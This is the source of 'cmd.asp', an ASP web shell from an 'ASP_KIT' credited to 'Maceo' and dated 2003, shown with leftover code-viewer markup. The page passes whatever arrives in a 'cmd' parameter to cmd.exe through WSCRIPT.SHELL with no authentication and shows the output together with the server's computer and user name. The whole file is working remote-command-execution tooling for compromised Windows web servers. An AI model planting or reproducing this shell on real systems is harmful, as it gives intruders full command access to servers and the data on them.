46 lines
921 B
Plaintext
46 lines
921 B
Plaintext
|
<!--
|
||
|
|
||
|
ASP_KIT
|
||
|
|
||
|
cmd.asp = Command Execution
|
||
|
|
||
|
by: Maceo
|
||
|
modified: 25/06/2003
|
||
|
|
||
|
-->
|
||
|
|
||
|
<%
|
||
|
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||
|
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||
|
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||
|
|
||
|
szCMD = request("cmd")
|
||
|
|
||
|
If (szCMD <> "") Then
|
||
|
szTempFile = "C:\" & oFileSys.GetTempName( )
|
||
|
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||
|
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
||
|
End If
|
||
|
%>
|
||
|
|
||
|
<HTML>
|
||
|
<BODY>
|
||
|
<FORM action="" method="GET">
|
||
|
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||
|
<input type="submit" value="Run">
|
||
|
</FORM>
|
||
|
<PRE>
|
||
|
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||
|
<br>
|
||
|
<%
|
||
|
If (IsObject(oFile)) Then
|
||
|
On Error Resume Next
|
||
|
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||
|
oFile.Close
|
||
|
Call oFileSys.DeleteFile(szTempFile, True)
|
||
|
End If
|
||
|
%>
|
||
|
</BODY>
|
||
|
</HTML>
|
||
|
|